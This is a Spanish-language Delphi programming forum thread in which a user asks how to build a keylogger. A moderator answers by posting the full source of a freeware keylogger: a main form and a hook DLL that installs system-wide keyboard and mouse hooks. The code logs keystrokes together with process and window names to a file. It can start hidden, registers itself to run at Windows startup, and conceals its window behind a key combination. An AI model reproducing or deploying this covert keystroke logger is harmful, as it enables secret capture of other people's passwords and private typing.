Utilizamos cookies propias y de terceros. [Más información sobre las cookies].
Política de cookies
Proyecto AjpdSoft

· Inicio
· Buscar
· Contactar
· Cookies
· Descargas
· Foros
· Historia
· Nosotros
· Temas
· Top 10
· Trucos
· Tutoriales
· Wiki
Proyecto AjpdSoft: Foros

AjpdSoft :: Ver tema - Desarrollar utilidad keylogger con Delphi
Foros de discusión Buscar Perfil FAQ Iniciar sesión
Information Desarrollar utilidad keylogger con Delphi

Publicar nuevo tema Responder al tema
Foros de discusión » Borland Delphi, Codegear Delphi .Net   
Ver tema anterior :: Ver tema siguiente
AutorMensaje
varios
Magnífico usuario


Registrado: Oct 10, 2006
Mensajes: 2092

Asunto: Desarrollar utilidad keylogger con Delphi Responder citando

Estoy desarrollando una aplicación en Borland Delphi para realizar una serie de tareas en el equipo. Necesito capturar las pulsaciones del teclado durante unos momentos, necesito saber en qué ventana se ha realizado la pulsación y qué teclas se han pulsado ¿cómo puedo hacer un keylogger con Delphi? ¿es posible?
MensajePublicado:
Dom Ene 24, 2010 9:29 pm
Top of PageVer perfil de usuario
alonsojpd
Administrador/Moderador


Registrado: Sep 16, 2003
Mensajes: 2687

Asunto: Re: Desarrollar utilidad keylogger con Delphi Responder citando



Anuncios



varios escribió:
Estoy desarrollando una aplicación en Borland Delphi para realizar una serie de tareas en el equipo. Necesito capturar las pulsaciones del teclado durante unos momentos, necesito saber en qué ventana se ha realizado la pulsación y qué teclas se han pulsado ¿cómo puedo hacer un keylogger con Delphi? ¿es posible?


En el siguiente enlace tienes la descarga gratuita (freeware) con código fuente incluido (100% open source) de la aplicación AjpdSoft Keylogger que te servirá como ejemplo de captura de pulsación de teclas:

http://www.ajpdsoft.com/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=262
MensajePublicado:
Lun Ene 25, 2010 8:19 pm
Top of PageVer perfil de usuario
alonsojpd
Administrador/Moderador


Registrado: Sep 16, 2003
Mensajes: 2687

Asunto: Re: Desarrollar utilidad keylogger con Delphi Responder citando



Anuncios



A continuación te mostramos el código fuente de la aplicación:


1. Unidad "UnidadMenuPrincipal":

Código:

unit UnidadMenuPrincipal;

{$R WinXP.res}

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ComCtrls, registry, inifiles, shellapi,
  ThemeMgr;

type
  TformMenuPrincipal = class(TForm)
    btActivarKeylogger: TBitBtn;
    StatusBar1: TStatusBar;
    txtLog: TMemo;
    opIniciarConWindows: TCheckBox;
    bOcultarAplicacion: TBitBtn;
    btEliminarFicheroLog: TBitBtn;
    btMostrarLog: TBitBtn;
    btCerrar: TBitBtn;
    txtLogMostrado: TMemo;
    Label1: TLabel;
    lWeb: TLabel;
    ThemeManager1: TThemeManager;
    procedure btActivarKeyloggerClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure bOcultarAplicacionClick(Sender: TObject);
    procedure btEliminarFicheroLogClick(Sender: TObject);
    procedure btMostrarLogClick(Sender: TObject);
    procedure btCerrarClick(Sender: TObject);
    procedure lWebClick(Sender: TObject);
  private
    { Private declarations }
    procedure activarKeylogger (activado : boolean);
    procedure guardarLog;
  public
    { Public declarations }
    procedure OnWmCopyData(var Msg: TMessage); message WM_COPYDATA;
  end;

const
  nombreDLL = 'HooK_DLL';

var
  formMenuPrincipal: TformMenuPrincipal;

  Function BeginMouseHook (HDest : THandle) : Boolean; stdcall; external nombreDLL;
  procedure EndMouseHook; stdcall; external nombreDLL;
  Function BeginKeybrdHook (HDest : THandle) : Boolean; stdcall; external nombreDLL;
  procedure EndKeybrdHook; stdcall; external nombreDLL;

implementation

{$R *.dfm}

uses TLHelp32;

type
  TRegistro = Record  //los datos que se guardarán en el fichero
    nombreProceso : String;
    nombreVentana : String;
    fechaHora : TDateTime;
  end;

  TUltimo = Record
    ProcessID : Cardinal;
    Control : Cardinal;
    Window : Cardinal;
  end;

  PKeybrdInfo = ^TKeybrdInfo;
  TKeybrdInfo = record
    VirtualKey : Integer;
    KeyStore   : Integer;
    CurrentProcessId: Cardinal;
    CurrentControl: Cardinal;
    WindowHwnd: Cardinal;
  end;


const
  ficheroLog = 'log_pulsaciones.txt';
  estadoBoton : Array[Boolean] of string =
      ('Activar keylogger', 'Detener keylogger');
  claveRUNWindows = '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';
  nombreClave = 'AjpdSoft Keylogger';

var
  registroPulsacion : TRegistro;
  F : TextFile; //para guardar las pulsaciones de teclas
  keyloggerActivado : Boolean = False;
  ultimo : TUltimo;
  ShortcutState : Array[0..1] of Boolean =(False,False);
                  //ShortcutState[0]= true si Ctrl est enfoncé
                  //ShortcutState[1]= true si N est Enfoncé


function GetModule(ProcessID : Cardinal) : ShortString;
var
  ProcessEntry : TProcessEntry32;
  Snap : Cardinal;
begin
  Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  try
    ProcessEntry.dwSize := SizeOf(ProcessEntry);
    if (Process32First(Snap, ProcessEntry)) then
    begin
      repeat
        if ProcessEntry.th32ProcessID = ProcessID then
        begin
          Result := String(ProcessEntry.szExeFile);
          Break;
        end;
      until not (Process32Next(Snap, ProcessEntry));
    end;
  finally
    Windows.CloseHandle(Snap);
  end;
end;


function mensajeConCheck (const mensaje, mensajeCheck: string;
    var valorCheck : boolean; tipoMensaje: TMsgDlgType;
    botonesMensaje: TMsgDlgButtons) : Word;
var
  chk : TCheckBox;
  frm : TForm;
begin
  frm := CreateMessageDialog(mensaje, tipoMensaje, botonesMensaje);
  with frm do
  try
    chk := TCheckBox.Create(frm);
    with chk do
    begin
      Checked := valorCheck;
      Caption := mensajeCheck;
      Left := 8;
      Top := frm.Height - Height - 12;
      Width := frm.width - left - 1;
      Parent := frm;
    end;
    Height := Height + chk.Height;
    Position := poScreenCenter;

    Result := ShowModal;

    valorCheck := chk.Checked;
  finally
    Free;
  end;
end;

//Lee un booleano de un INI
function leBoolINI (clave, cadena : string; defecto : boolean) : boolean;
begin
  with tinifile.create (changefileext(paramstr(0),'.INI')) do
  try
    result := readbool (clave, cadena, defecto);
  finally
    free;
  end;
end;

//escribe un Booleano en un INI
procedure esBoolINI (clave, cadena : string; valor : boolean);
begin
  with tinifile.create (changefileext(paramstr(0),'.INI')) do
  try
    writeBool (clave, cadena, valor);
  finally
    free;
  end;
end;


procedure TformMenuPrincipal.guardarLog;
begin
  try
    if FileExists (ficheroLog) then
      Append (F)
    else
      Rewrite (F);
    WriteLn (F, '---------');
    Writeln (F, 'Proceso: ' + registroPulsacion.nombreProceso);
    Writeln (F, 'Ventana: ' + registroPulsacion.nombreVentana);
    Writeln (F, 'Hora: ' + DateToStr(registroPulsacion.fechaHora) + ' '
        + TimeToStr(registroPulsacion.fechaHora));
    WriteLn (F, '---------');
    Writeln (F, txtLog.Text);
    Writeln (F);
  finally
    CloseFile (F);
  end;
  txtLogMostrado.Lines.LoadFromFile(ficheroLog); 
end;

procedure TformMenuPrincipal.OnWmCopyData (var Msg: TMessage);
var
  WText: array[0..255] of Char;
begin
  if Msg.WParam = 1 then
  begin
    with PKeybrdInfo(PCopyDataStruct(Msg.LParam)^.lpData)^ do
    begin
      if not Visible then
      begin
        case VirtualKey of
          17 : ShortcutState[0] := (KeyStore and $80000000)=0; //tecla control pulsada
          78 : ShortcutState[1] := (KeyStore and $80000000)=0; //tecla "n" pulsada
        end;
        if ShortcutState[0] and ShortcutState[1] and
            ((KeyStore and $20000000)<> 0) then
        begin
          ShortcutState[0] := False;
          ShortcutState[1] := False;
          self.Visible := True;
        end;
      end;

      if (CurrentProcessId <> ultimo.ProcessID) or
          (CurrentControl <> ultimo.Control) or
          (WindowHWND <> ultimo.Window) then
      begin
        if txtLog.Lines.Count > 0 then
          guardarLog;
        txtLog.Lines.Clear;
        registroPulsacion.nombreProceso := GetModule(CurrentProcessId);
        GetWindowText(WindowHWND, WText, SizeOf(WText));
        registroPulsacion.nombreVentana := String(WText);
        registroPulsacion.fechaHora := Now;
      end;

      if (KeyStore and $80000000) = 0 then
        postMessage (txtLog.Handle, WM_KEYDOWN, VirtualKey, KeyStore)
      else
        PostMessage(txtLog.Handle, WM_KEYUP, VirtualKey, KeyStore);
           ultimo.ProcessID:= CurrentProcessId;
      ultimo.Control:= CurrentControl;
      ultimo.Window:=  WindowHWND;
    end;
  end;
end;


procedure TformMenuPrincipal.activarKeylogger (activado : boolean);
begin
  if Active then
    BeginKeybrdHook (Handle)
  else
  begin
    EndKeybrdHook;
    if txtLog.Lines.Count > 0 then
      guardarLog;
    txtLog.Lines.Clear;
  end;
  btActivarKeylogger.Caption := estadoBoton [activado];
  keyloggerActivado := activado;
end;


procedure TformMenuPrincipal.btActivarKeyloggerClick(Sender: TObject);
begin
  activarKeylogger (not keyloggerActivado);
end;

procedure TformMenuPrincipal.FormCreate(Sender: TObject);
var
  registroConf : TRegistry;
begin
  registroPulsacion.nombreProceso := #0;
  registroPulsacion.nombreVentana := #0;
  ultimo.ProcessID := 0;
  ultimo.Control := 0;
  ultimo.Window := 0;
  AssignFile(F, ficheroLog);

  if ParamStr(1) = 'oculto' then //si el programa debe abrirse en modo oculto
  begin
    Application.ShowMainForm := False;
    activarKeylogger (True);
  end;

  registroConf := TRegistry.Create;
  try
    registroConf.RootKey := HKEY_LOCAL_MACHINE;
    if registroConf.OpenKey (claveRUNWindows, False) then
      opIniciarConWindows.Checked :=
          (registroConf.ReadString(nombreClave) = '"'
           + ParamStr(0) + '" ' + '"oculto"');
    registroConf.CloseKey
  finally
    registroConf.Free;
  end;
end;

procedure TformMenuPrincipal.FormClose(Sender: TObject;
  var Action: TCloseAction);
var
  registroConf : TRegistry;
  S : string;
begin
  if keyloggerActivado then
    activarKeylogger (False); //detenemos la captura de pulsación de teclas

  S := #0;
  registroConf := TRegistry.Create;
  try
    registroConf.RootKey := HKEY_LOCAL_MACHINE;
    if registroConf.OpenKey (claveRUNWindows, False) then
    begin
      if opIniciarConWindows.Checked then
      begin
        registroConf.WriteString(nombreClave, '"' + ParamStr(0) + '" ' + '"oculto"');
      end
      else
        registroConf.DeleteValue (nombreClave);
    end
    else
      MessageDlg ('No se ha podido guardar el valor en el registro ' +
          'de configuraciones.', mtWarning, [mbok], 0);
  finally
    registroConf.Free;
  end;
end;

procedure TformMenuPrincipal.bOcultarAplicacionClick(Sender: TObject);
var
  resultadoCheck : Boolean;
  resultadoMensaje : Word;
begin
  if keyloggerActivado then
  begin
    resultadoMensaje := mrOk;
    if leBoolINI ('Configuración', 'Aviso mostrar aplicación', True) then
    begin
      resultadoCheck := False;
      resultadoMensaje :=
          mensajeConCheck ('La aplicación se ocultará.' + chr(13) +
              'Para volver a mostrarla pulse Control + Alt + N',
              'No volver a mostrar este mensaje',
          resultadoCheck, mtInformation, [mbOk]);
      if resultadoCheck then
        esBoolINI ('Configuración', 'Aviso mostrar aplicación', False);
    end;
    if resultadoMensaje = mrOk then
      self.Visible := false;
  end
  else
  begin
    if MessageDlg ('Debe iniciar la captura de teclas (keylogger) ' +
        'antes de ocultar la aplicación.' + #10 + #10
        + '¿Desea lanzar la captura de teclas ahora?',
        mtConfirmation, [mbYes, mbNo], 0) = mrYes then
    begin
      activarKeylogger (True);
      bOcultarAplicacion.Click;
    end;
  end;
end;

procedure TformMenuPrincipal.btEliminarFicheroLogClick(Sender: TObject);
var
  resultadoCheck : boolean;
  resultadoMensaje : Word;
begin
  resultadoCheck := false;
  if FileExists (ficheroLog) then
  begin
    resultadoMensaje := mrYes;
    if leBoolINI ('Configuración', 'Aviso eliminar fichero log', True) then
    begin
      resultadoMensaje :=
          mensajeConCheck ('¿Está seguro que desea eliminar ' +
          'el fichero de log (pulsaciones)?',
          'No volver a pedir esta confirmación',
           resultadoCheck, mtConfirmation, [mbYes, mbNo]);
    end;
    esBoolINI ('Configuración', 'Aviso eliminar fichero log', not resultadoCheck);
    if resultadoMensaje = mrYes then
      DeleteFile(ficheroLog)
  end
  else
    MessageDlg ('El fichero de log de pulsaciones (keylogger) no existe.',
        mtWarning, [mbOk], 0);
end;

procedure TformMenuPrincipal.btMostrarLogClick(Sender: TObject);
begin
  if FileExists(ficheroLog) then
    ShellExecute (0, 'open', ficheroLog, Nil, '', SW_SHOW)
  else
    MessageDlg ('No existe el fichero de log de pulsaciones (keylogger).',
        mtInformation, [mbOk], 0);
end;

procedure TformMenuPrincipal.btCerrarClick(Sender: TObject);
begin
  Close;
end;

procedure TformMenuPrincipal.lWebClick(Sender: TObject);
begin
  ShellExecute (0, 'open', 'http://www.ajpdsoft.com', Nil, '', SW_SHOW)
end;

end.


2. DLL "HooK_DLL":

Código:

library HooK_DLL;

uses
  SysUtils, Windows, Messages, Classes, Dialogs;

{$R *.res}
type
  PTMapFile = ^TMapFile;
  TMapFile = record
    HMouseHook : Cardinal;
    HKeybrdHook : Cardinal;
    HMouseDestWindow : Cardinal;
    HKeybrdDestWindow : Cardinal;
  end;

  TMouseInfo = record
    aMsg : WParam;
    pt : TPoint;
    hwnd : HWND;
    wHitTestCode : UINT;
    dwExtraInfo : DWORD;
  end;

  TKeybrdInfo = record
    VirtualKey : Integer;
    KeyStore : Integer;
    CurrentProcessId : Cardinal;
    CurrentControl : Cardinal;
    WindowHwnd : Cardinal;
  end;

var
  HMapFile : Cardinal = 0;
  PMapFile : PTMapFile = nil;

function MouseProc(Code : integer; Msg : WPARAM;
    MouseHook : LPARAM) : LRESULT; stdcall;
var
  InfoEnvoye : TMouseInfo;
  MouseStruct : TMouseHookStruct;
  CopyDataStruct : TCopyDataStruct;
begin
  Result := 0;
  if Code = HC_ACTION then
  begin
    MouseStruct := PMouseHookStruct(MouseHook)^;
    if PMapFile^.HMouseDestWindow <> 0 then
    begin
      InfoEnvoye.pt := MouseStruct.pt;
      InfoEnvoye.hWnd := MouseStruct.hwnd;
      InfoEnvoye.wHitTestCode := MouseStruct.wHitTestCode;
      InfoEnvoye.dwExtraInfo := MouseStruct.dwExtraInfo;
      InfoEnvoye.AMsg := Msg;

      CopyDataStruct.cbData := SizeOf(InfoEnvoye);
      CopyDataStruct.lpData := @InfoEnvoye;

      SendMessage(PMapFile.HMouseDestWindow, WM_COPYDATA, 0,
          LongInt(@CopyDataStruct));
    end;
  end;
  if Code < HC_ACTION then
    Result := CallNextHookEx(PMapFile^.HMouseHook, Code, Msg, MouseHook);
end;

function BeginMouseHook(HDest : THandle):Boolean;stdcall;
begin
  Result := False;
  if (HDest <> 0) and (PMapFile^.HMouseHook = 0) then
  begin
    PMapFile^.HMouseDestWindow := HDest;
    PMapFile^.HMouseHook := SetWindowsHookEx(WH_MOUSE,
        @MouseProc, HInstance, 0);
    Result := True;
  end;
end;

procedure EndMouseHook ;stdcall;
begin
  UnhookWindowsHookEx(PMapFile^.HMouseHook);
  PMapFile^.HMouseDestWindow := 0;
  PMapFile^.HMouseHook := 0;
end;

function KeyboardProc(Code : integer; VirtualKeyCode : WPARAM;
    KeyStoreMsgInfo : LPARAM) : LRESULT; stdcall;
var
  KeybrdInfo : TKeybrdInfo;
  CopyDataStruct : TCopyDataStruct;
begin
  Result := 0;
  if Code = HC_ACTION then
  begin
    KeybrdInfo.VirtualKey := VirtualKeyCode;
    KeybrdInfo.KeyStore := KeyStoreMsgInfo;
    KeybrdInfo.CurrentProcessId := GetCurrentProcessId;
    KeybrdInfo.CurrentControl := GetFocus;
    KeybrdInfo.WindowHwnd := GetActiveWindow;
    CopyDataStruct.cbData := SizeOf(KeybrdInfo);
    CopyDataStruct.lpData := @KeybrdInfo;
    SendMessage(PMapFile^.HKeybrdDestWindow, WM_COPYDATA,
        1, LongInt(@CopyDataStruct));
  end;
  if Code < HC_ACTION then
    Result:= CallNextHookEx(PMapFile^.HKeybrdHook,
        Code, VirtualKeyCode, KeyStoreMsgInfo);
end;

function BeginKeybrdHook(HDest : THandle) : Boolean; stdcall;
begin
  Result := False;
  if (HDest <> 0) and (PMapFile^.HKeybrdHook = 0) then
  begin
    PMapFile^.HKeybrdDestWindow := HDest;
    PMapFile^.HKeybrdHook := SetWindowsHookEx(WH_KEYBOARD,
        @KeyboardProc, HInstance, 0);
    Result := True;
  end;
end;

procedure EndKeybrdHook; stdcall;
begin
  UnhookWindowsHookEx(PMapFile^.HKeybrdHook);
  PMapFile^.HKeybrdDestWindow := 0;
  PMapFile^.HKeybrdHook := 0;
end;


Procedure LibraryProc(Reason : Integer);
begin
  case Reason of
    DLL_PROCESS_ATTACH :
    begin
      HMapFile := CreateFileMapping ($FFFFFFFF, nil, PAGE_READWRITE,
          0, sizeof(TMapFile), 'NMB HOOK');
      PMapFile := MapViewOfFile(HMapFile, FILE_MAP_WRITE, 0, 0, 0);
    end;

    DLL_PROCESS_DETACH :
     begin
       UnmapViewOfFile(PMapFile);
       CloseHandle(HMapFile);
     end;
  end;
end;

Exports EndMouseHook;
Exports BeginMouseHook;
Exports BeginKeybrdHook;
Exports EndKeybrdHook;

begin
  DllProc := @LibraryProc;
  LibraryProc (DLL_PROCESS_ATTACH);
end.
MensajePublicado:
Lun Ene 25, 2010 8:25 pm
Top of PageVer perfil de usuario
Mostrar mensajes de anteriores:   
Todas las horas son GMT - 1 Horas
Publicar nuevo tema Responder al tema
Foros de discusión » Borland Delphi, Codegear Delphi .Net  

Cambiar a:  
Key
  Puede publicar nuevos temas en este foro
No puede responder a temas en este foro
No puede editar sus mensajes en este foro
No puede borrar sus mensajes en este foro
No puede votar en encuestas en este foro
Visita nuestro nuevo sitio web con programas y contenidos actualizados: Proyecto A